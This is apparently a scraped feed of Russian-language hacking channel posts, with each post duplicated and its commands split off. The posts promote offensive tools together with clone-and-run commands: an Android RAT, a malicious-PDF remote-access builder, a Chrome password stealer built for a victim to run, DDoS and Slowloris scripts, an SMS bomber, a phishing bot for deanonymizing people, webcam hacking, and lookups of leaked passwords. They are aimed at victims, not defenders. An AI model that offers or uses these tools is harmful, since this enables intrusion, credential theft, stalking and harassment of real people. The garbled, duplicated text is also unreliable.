🗄 Поиск по общедоступным файлам в Google Drive!
Обширное пространство Google диска хранит в себе не только личные файлы пользователей, но еще и публичные данные, доступ к которым открыт только по прямой ссылке.
И если сам диск не предлагает функциональную возможность поиска открытых файлов или прямых ссылок к ним, то Google поисковик без раздумий выложит их на обозрение. Для этого достаточно лишь ввести фразу
Так как вышеописанная инструкция не всегда бывает удобной, существует специальный поисковик — Dedigger. Он так же нацелен на обнаружение общедоступных файлов, но в гораздо упрощенном исполнении: давая возможность осуществлять поиск без команд, предлагая выбрать расширение нужного файла и показывая его предпросмотр.
Обширное пространство Google диска хранит в себе не только личные файлы пользователей, но еще и публичные данные, доступ к которым открыт только по прямой ссылке.
И если сам диск не предлагает функциональную возможность поиска открытых файлов или прямых ссылок к ним, то Google поисковик без раздумий выложит их на обозрение. Для этого достаточно лишь ввести фразу
site:drive.google.com перед интересующим вас запросом.Так как вышеописанная инструкция не всегда бывает удобной, существует специальный поисковик — Dedigger. Он так же нацелен на обнаружение общедоступных файлов, но в гораздо упрощенном исполнении: давая возможность осуществлять поиск без команд, предлагая выбрать расширение нужного файла и показывая его предпросмотр.
🪤 Слитые базы паролей от почты
Сегодня мы расскажем о методах поиска информации, а также выполним поиск паролей от Email по различным утечкам.
К делу:
1. Первый шаг, это проверка на слитые данные. Поможет нам в этом – haveibeenpwned. Также ищем информацию в других аналогичных сервисах:
• leakcheck.io
• dehashed.com
• ghostproject.fr
• leakedsource.ru
• breachalarm.com
• sitecheck.sucuri.net
• monitor.firefox.com
2. Далее находим информацию по email в – Intelligence X. Если сервис выводит результаты, то ищем строку по email.
3. Если на предыдущем шаге, вы не нашли нужный пароль, то стоит попробовать воспользоваться Telegram-ботами по пробиву, которых на сегодняшний день очень много.
Сегодня мы расскажем о методах поиска информации, а также выполним поиск паролей от Email по различным утечкам.
К делу:
1. Первый шаг, это проверка на слитые данные. Поможет нам в этом – haveibeenpwned. Также ищем информацию в других аналогичных сервисах:
• leakcheck.io
• dehashed.com
• ghostproject.fr
• leakedsource.ru
• breachalarm.com
• sitecheck.sucuri.net
• monitor.firefox.com
2. Далее находим информацию по email в – Intelligence X. Если сервис выводит результаты, то ищем строку по email.
3. Если на предыдущем шаге, вы не нашли нужный пароль, то стоит попробовать воспользоваться Telegram-ботами по пробиву, которых на сегодняшний день очень много.
Ищем человека по имени!
Maigret — форк Sherlock, адаптированный для соцсетей по RU сегменту. На данный момент утилита является лучшим инструментом для поиска цели по юзернейму и поддерживает более 2000 сайтов (полный список), по умолчанию поиск запускается на 500 популярных сайтах в порядке убывания популярности. Так же, ты самостоятельно можешь добавлять нужные тебе сайты для поиска необходимой информации.
Так же программа способна искать по ID, автоматически искать по найденным новым никнеймам, парсить страницы аккаунтов и многое другое.
Установка
1.
2.
Использование
3.
Maigret — форк Sherlock, адаптированный для соцсетей по RU сегменту. На данный момент утилита является лучшим инструментом для поиска цели по юзернейму и поддерживает более 2000 сайтов (полный список), по умолчанию поиск запускается на 500 популярных сайтах в порядке убывания популярности. Так же, ты самостоятельно можешь добавлять нужные тебе сайты для поиска необходимой информации.
Так же программа способна искать по ID, автоматически искать по найденным новым никнеймам, парсить страницы аккаунтов и многое другое.
Установка
1.
git clone https://github.com/soxoj/maigret && cd maigret2.
pip3 install -r requirements.txtИспользование
3.
maigret {Имя_пользвователя}🔬 Деаноним пользователя с помощью бота
На просторах интернета появилась утилита на Termux, с помощью которой каждый может создать фейкового бота, и сдеанонить человека! Она работает по принципу фишинга, однако отличается тем, что вместо страницы на сайте у нас бот.
Установка:
$
$
$
$
После чего заходим в @BotFather, создаем бота, пишем ему старт и копируем его токен. Вставляем в терминал, вводим свой телеграм айди и затем запускаем сохранившийся файл
Мы создали бота, который будем маскироваться под различные сервисы, и будет собирать и пересылать информацию нам.
На просторах интернета появилась утилита на Termux, с помощью которой каждый может создать фейкового бота, и сдеанонить человека! Она работает по принципу фишинга, однако отличается тем, что вместо страницы на сайте у нас бот.
Установка:
$
git clone https://github.com/lamer112311/Dnnme2$
cd Dnnme2$
pip install -r requirements.txt$
python build.pyПосле чего заходим в @BotFather, создаем бота, пишем ему старт и копируем его токен. Вставляем в терминал, вводим свой телеграм айди и затем запускаем сохранившийся файл
Мы создали бота, который будем маскироваться под различные сервисы, и будет собирать и пересылать информацию нам.
🪓 Инструмент для выполнения MiTM атак
Responder — инструмент для выполнения MiTM атак в отношении методов аутентификации в Windows. Незаменимый инструмент в Active Directory сетях. Кроме спуфинга умеет перехватывать NTLM-аутентификацию, в комплекте также идет набор инструментов для сбора информации и реализации атак NTLM-Relay.
По умолчанию поднимает множество серверов с поддержкой NTLM-аутентификации: SMB, MSSQL, HTTP, HTTPS, LDAP, FTP, POP3, IMAP, SMTP;
1. Позволяет подменять DNS в случае MITM-атак (ARP-спуфинг и т.д.);
2. Fingerprint хостов, совершивших широковещательный запрос;
3. Analyze mode — для пассивного наблюдения за запросами;
4. Формат перехваченных хешей при NTLM-аутентификации совместим с John the Ripper и Hashcat.
🖱Информация по установке есть на GitHub.
Responder — инструмент для выполнения MiTM атак в отношении методов аутентификации в Windows. Незаменимый инструмент в Active Directory сетях. Кроме спуфинга умеет перехватывать NTLM-аутентификацию, в комплекте также идет набор инструментов для сбора информации и реализации атак NTLM-Relay.
По умолчанию поднимает множество серверов с поддержкой NTLM-аутентификации: SMB, MSSQL, HTTP, HTTPS, LDAP, FTP, POP3, IMAP, SMTP;
1. Позволяет подменять DNS в случае MITM-атак (ARP-спуфинг и т.д.);
2. Fingerprint хостов, совершивших широковещательный запрос;
3. Analyze mode — для пассивного наблюдения за запросами;
4. Формат перехваченных хешей при NTLM-аутентификации совместим с John the Ripper и Hashcat.
🖱Информация по установке есть на GitHub.
🪛 Инструмент для массового взлома вебкамер!
Entropy Toolkit — мощная утилита для пентестинга вебкамер. Может работать как "точечно", так и искать их через shodan.
Установка:
$
$
$
$
$
Использование:
$
Entropy Toolkit — мощная утилита для пентестинга вебкамер. Может работать как "точечно", так и искать их через shodan.
Установка:
$
pip install tailer$
git clone https://github.com/evildevill/entropy$
cd entropy$
chmod +x install.sh$
./install.shИспользование:
$
python3 entropy -h
📩 Как проверить почту на существование?
В данном посте пойдёт речь про утилиту KnockMail, которая проверяет почту на валидность, то есть, на факт её существования. Инструмент особенно полезен для тех, кто работает с базами данных.
Установка:
$
$
$
$
Использование:
$
После запуска будет открыто меню, в котором вы можете выбрать проверку e-mail адресов в специальном файле или проверку одного e-mail.
В данном посте пойдёт речь про утилиту KnockMail, которая проверяет почту на валидность, то есть, на факт её существования. Инструмент особенно полезен для тех, кто работает с базами данных.
Установка:
$
git clone https://github.com/4w4k3/KnockMail.git$
cd KnockMail$
tsu $
pip install -r requeriments.txtИспользование:
$
python knock.pyПосле запуска будет открыто меню, в котором вы можете выбрать проверку e-mail адресов в специальном файле или проверку одного e-mail.
Лучший Android-RAT в Termux
haxRat — это облачный скрипт для удаленного управления Android на базе NodeJS. С его помощью вы можете блокировать звонки на устройстве, видеть все файлы и картинки, прослушивать микрофон, мониторить уведомления и многое другое.
Установка
$
$
$
$
$
Использование
$
haxRat — это облачный скрипт для удаленного управления Android на базе NodeJS. С его помощью вы можете блокировать звонки на устройстве, видеть все файлы и картинки, прослушивать микрофон, мониторить уведомления и многое другое.
Установка
$
apt install nodejs git$
git clone https://github.com/hax4us/haxRat.git$
cd haxRat/server$
npm install$
mkdir ~/haxratИспользование
$
node index.js
💽 Собираем электронные почты с вебсайтов
Email Grabber — утилита для сбора email с произвольного списка веб-сайтов.
Установка
$
$
Использование
$
Email Grabber — утилита для сбора email с произвольного списка веб-сайтов.
Установка
$
git clone https://github.com/KTN1990/Email-Grabber$
cd Email-GrabberИспользование
$
python3 emailgrabberv2.py -h
🔎 Мультитул для пентестинга
Atscan — новый инструмент по продвинутому поиску, массовой эксплуатации дорков и автоматическому обнаружению сайтов с уязвимостями.
Установка:
$
$
$
$
Испoльзование:
$
Atscan — новый инструмент по продвинутому поиску, массовой эксплуатации дорков и автоматическому обнаружению сайтов с уязвимостями.
Установка:
$
git clone https://github.com/AlisamTechnology/ATSCAN.git$
cd ATSCAN/$
chmod +x ./install.sh$
sudo ./install.shИспoльзование:
$
perl atscan.pl --help
🎁 Как получить бесплатно домен: .pp.ua навсегда?
Доброго времени суток! Сегодня мы покажем вам способ получения домена абсолютно бесплатно на неограниченный период времени.
Погнали!
Все готово!
Доброго времени суток! Сегодня мы покажем вам способ получения домена абсолютно бесплатно на неограниченный период времени.
Погнали!
1. Первое, что нам нужно, это перейти на сайт → ТЫК ←.2. Выбираем домен .pp.ua.3. Далее выбираем название сайта.4. После этого нам нужно зарегистрироваться и оформить заказ. Нужно вводить тот же номер, что и в Telegram.5. Привязываем виртуальную карту. 6. Возвращаемся к домену и кликаем по кнопке «Активация».7. Затем открываем бота: @ppuabot, кликаем по кнопке «Старт». Номер в Telegram и при регистрации обязательно должен быть одинаковый. 8. Следуем инструкциям, получаем ключ.9. Далее копируем ключ, полученный от бота.10. Активируем ключ здесь → ТЫК ←. Все готово!
🛠 Мультитул для хакинга
"Взломай мир с помощью termux" — такой лозунг у создателей утилиты EasyHack. С ее помощью вы можете в одной только утилите устраивать ddos атаки, проводить сканирование с помощью nmap, брутфорсить пароли и многое другое.
Установка в Termux:
$
$
$
$
$
$
$
Использование:
$
"Взломай мир с помощью termux" — такой лозунг у создателей утилиты EasyHack. С ее помощью вы можете в одной только утилите устраивать ddos атаки, проводить сканирование с помощью nmap, брутфорсить пароли и многое другое.
Установка в Termux:
$
pkg update$
pkg upgrade$
pkg install git$
git clone https://github.com/sabri-zaki/EasY_HaCk$
cd EasY_HaCk/$
chmod +x install.sh$
. /install.shИспользование:
$
EasY-HaCk
🔐 Взламываем дроны
DroneSploit — это среда командной строки, основанная на sploitkit и попытка собрать методы взлома и эксплойты, особенно ориентированные на взлом дронов. Для простоты использования интерфейс имеет макет, похожий на Metasploit. В настоящее время он поддерживает только очень небольшое количество моделей дронов, но мы надеемся, что в ближайшем будущем мы будем приветствовать новые предложения.
Необходимости
1) Linux система;
2) Wi-Fi карта с режимом монитора (многие Wi-Fi адаптеры поддерживают этот режим);
Установка
$ sudo pip install dronesploit
Использование
$
DroneSploit — это среда командной строки, основанная на sploitkit и попытка собрать методы взлома и эксплойты, особенно ориентированные на взлом дронов. Для простоты использования интерфейс имеет макет, похожий на Metasploit. В настоящее время он поддерживает только очень небольшое количество моделей дронов, но мы надеемся, что в ближайшем будущем мы будем приветствовать новые предложения.
Необходимости
1) Linux система;
2) Wi-Fi карта с режимом монитора (многие Wi-Fi адаптеры поддерживают этот режим);
Установка
$ sudo pip install dronesploit
Использование
$
dronesploit
🔎 Ищем уязвимости в современных автомобилях
4CAN V2 — проект Raspberry Pi, созданный командой Cisco для проверки безопасности автомобилей через шину 4CAN, он также может отправлять случайные полезные нагрузки для автоматизации этого процесса.
Установка:
$
$
$
Скопируйте 4 файла mcp2515-canx.dtbo в каталог /boot/overlays
Использование
1. Подключаем Raspberry Pi;
2. Запускаем./4CAN.sh
Несмотря на то, что он автоматизирован, он все ещё требует некоторого опыта для использования.
4CAN V2 — проект Raspberry Pi, созданный командой Cisco для проверки безопасности автомобилей через шину 4CAN, он также может отправлять случайные полезные нагрузки для автоматизации этого процесса.
Установка:
$
git clone https://github.com/alexdetrano/4CAN$
cd 4CAN$
./install.shСкопируйте 4 файла mcp2515-canx.dtbo в каталог /boot/overlays
Использование
1. Подключаем Raspberry Pi;
2. Запускаем./4CAN.sh
Несмотря на то, что он автоматизирован, он все ещё требует некоторого опыта для использования.
🔪 DDos атака через Termux
DDoS-атаки (Distributed Denial of Service – распределённые атаки класса "отказ в обслуживании") – это атаки на вычислительные системы (сетевые ресурсы или каналы связи), имеющие целью сделать их недоступными для легитимных пользователей.
Установка
$
$
$
$
$
Использование
$
Также, можно проводить атаку на 443 порт (https)
$
DDoS-атаки (Distributed Denial of Service – распределённые атаки класса "отказ в обслуживании") – это атаки на вычислительные системы (сетевые ресурсы или каналы связи), имеющие целью сделать их недоступными для легитимных пользователей.
Установка
$
apt update & apt upgrade -y && pkg install python git -y$
git clone https://github.com/HardyTomas/DDos-Attack-OVH-$
cd DDos-Attack-OVH-$
pip install toripchanger$
pip install -r requirements.txtИспользование
$
python 80port.pyТакже, можно проводить атаку на 443 порт (https)
$
python 443port.py
📑 Как взломать ПК через PDF файл?
Формат PDF имеет множество уязвимостей, благодаря которым в файлы можно "вшивать" вирусы и т.п. В данном посте представлен автоматизированный фреймворк Insanity Framework для создания зараженного PDF-файла, который позволит реализовать удаленный доступ к машинам на Windows.
Установка:
$
$
Формат PDF имеет множество уязвимостей, благодаря которым в файлы можно "вшивать" вирусы и т.п. В данном посте представлен автоматизированный фреймворк Insanity Framework для создания зараженного PDF-файла, который позволит реализовать удаленный доступ к машинам на Windows.
Установка:
$
git clone https://github.com/4w4k3/Insanity-Framework
$ cd Insanity-Framework
$ chmod +x insanity.py
$ ./install.sh
Использование:$
sudo python2 insanity.py
При первом запуске установятся все необходимые зависимости и откроется главное меню. В нём выбираем первый пункт для создания полезной нагрузки. Далее выбираем Fake Acrobat PDF. Вводим ip адрес и порт.
Находим камеры наблюдения по всему миру
BiG Brother — инструмент, который можно использовать для поиска камер видеонаблюдения с открытыми портами по всему миру.
На данный момент поддерживаются только 3 марки камер видеонаблюдения: Sony, Canon и Panasonic . В ближайшие недели автор планирует добавить следующие бренды: Alphafinity, INSTAR, Milesight, Vacron и VideoIQ. Также есть возможность сохранить и экспортировать результат расследования во время
Установка
$
$
BiG Brother — инструмент, который можно использовать для поиска камер видеонаблюдения с открытыми портами по всему миру.
На данный момент поддерживаются только 3 марки камер видеонаблюдения: Sony, Canon и Panasonic . В ближайшие недели автор планирует добавить следующие бренды: Alphafinity, INSTAR, Milesight, Vacron и VideoIQ. Также есть возможность сохранить и экспортировать результат расследования во время
.csv или .txt после его завершения.Установка
$
git clone https://github.com/nwqda/BiG-Brother
$ pip install -r requirements.txt
Запуск$
python3 big-brother.py
Дальше инструмент будет выдавать дорки.
Ddos в Termux
Slowloris — инструмент для DoS-атак с низкой пропускной способностью. Программное обеспечение переписано на Python и выполняет атаку отказа в обслуживании HTTP, которая замедляет работу небольших серверов или приводит к их сбою.
Установка
$
$
Использование
$
Также можно юзать прокси и не только
Slowloris — инструмент для DoS-атак с низкой пропускной способностью. Программное обеспечение переписано на Python и выполняет атаку отказа в обслуживании HTTP, которая замедляет работу небольших серверов или приводит к их сбою.
Установка
$
git clone https://github.com/gkbrk/slowloris.git$
cd slowlorisИспользование
$
python3 slowloris.pyТакже можно юзать прокси и не только
Новый скрипт SMS-бомбера
YetAnotherSMSBomber — бомбер с множеством интегрированных API-интерфейсов SMS и поддержкой пользовательской конфигурации API! Неограниченное количество SMS! Быстрее и легче, чем большинство скриптов SMS бомберов! Возможна международная бомбардировка!
Установка
$
$
$
$
Запуск
$
YetAnotherSMSBomber — бомбер с множеством интегрированных API-интерфейсов SMS и поддержкой пользовательской конфигурации API! Неограниченное количество SMS! Быстрее и легче, чем большинство скриптов SMS бомберов! Возможна международная бомбардировка!
Установка
$
pkg install git python -y$
git clone https://github.com/AvinashReddy3108/YetAnotherSMSBomber.git$
cd YetAnotherSMSBomber$
pip3 install -r requirements.txtЗапуск
$
python3 bomber.py Номер жертвы
Узнаем cкрытую информацию о пользователе VK
Салют тем, для кого OSINT — не пустой звук.
1. Открываем в браузере ссылку
└ Узнать id по никнейму можно здесь, пример
2. Далее смотрим исходный код страницы;
└ Firefox>Правой кнопкой мыши + Исходный код страницы
3. Изучаем исходный код — там можно найти целый клондайк полезной информации:
ya:created — дата создания профиля;
ya:modified — дата изменения ФИО в профиле (например, в случае развода/замужества);
foaf:externalProfile — ссылка на профили в других соцсетях (в том числе те, которые были указаны ранее, но ныне скрыты);
ya:bio — информация "о себе", которая не отображается на странице (часто находится у профилей, зарегистрированных 10 и более лет назад);
ya:lastLoggedIn — дата последнего захода с точностью до секунды;
4. Поздравляю, вы великолепны!
Салют тем, для кого OSINT — не пустой звук.
1. Открываем в браузере ссылку
https://vk.com/foaf.php?id= и после id= пишем цифры из id жертвы;└ Узнать id по никнейму можно здесь, пример
https://vk.com/foaf.php?id=460060000;2. Далее смотрим исходный код страницы;
└ Firefox>Правой кнопкой мыши + Исходный код страницы
3. Изучаем исходный код — там можно найти целый клондайк полезной информации:
ya:created — дата создания профиля;
ya:modified — дата изменения ФИО в профиле (например, в случае развода/замужества);
foaf:externalProfile — ссылка на профили в других соцсетях (в том числе те, которые были указаны ранее, но ныне скрыты);
ya:bio — информация "о себе", которая не отображается на странице (часто находится у профилей, зарегистрированных 10 и более лет назад);
ya:lastLoggedIn — дата последнего захода с точностью до секунды;
4. Поздравляю, вы великолепны!
Как украсть пароли из аккаунта в Google
Большинство пользователей хранит свои пароли прямо в браузере, в так называемых "формах автозаполнения" Chrome.
ChromePass - это специализированная утилита, написанная на языке программирования Python, способная "добывать" сохраненные пароли в Chrome.
Установка:
$
$
$
$
$
Использование:
$
После запуска, выбираем метод - client.exe, вводите свой IP. Если хотите, то включите сообщение об ошибке, и добавьте сообщение. Файл server-ip.exe - должна получить ваша жертва. В файле client.txt появятся пароли.
Большинство пользователей хранит свои пароли прямо в браузере, в так называемых "формах автозаполнения" Chrome.
ChromePass - это специализированная утилита, написанная на языке программирования Python, способная "добывать" сохраненные пароли в Chrome.
Установка:
$
git clone https://github.com/bierschi/chromepass$
cd chromepass$
pip install -r requirements.txt$
python -m pip install --upgrade pip$
python -m pip install -r requirements.txtИспользование:
$
python create_server.pyПосле запуска, выбираем метод - client.exe, вводите свой IP. Если хотите, то включите сообщение об ошибке, и добавьте сообщение. Файл server-ip.exe - должна получить ваша жертва. В файле client.txt появятся пароли.
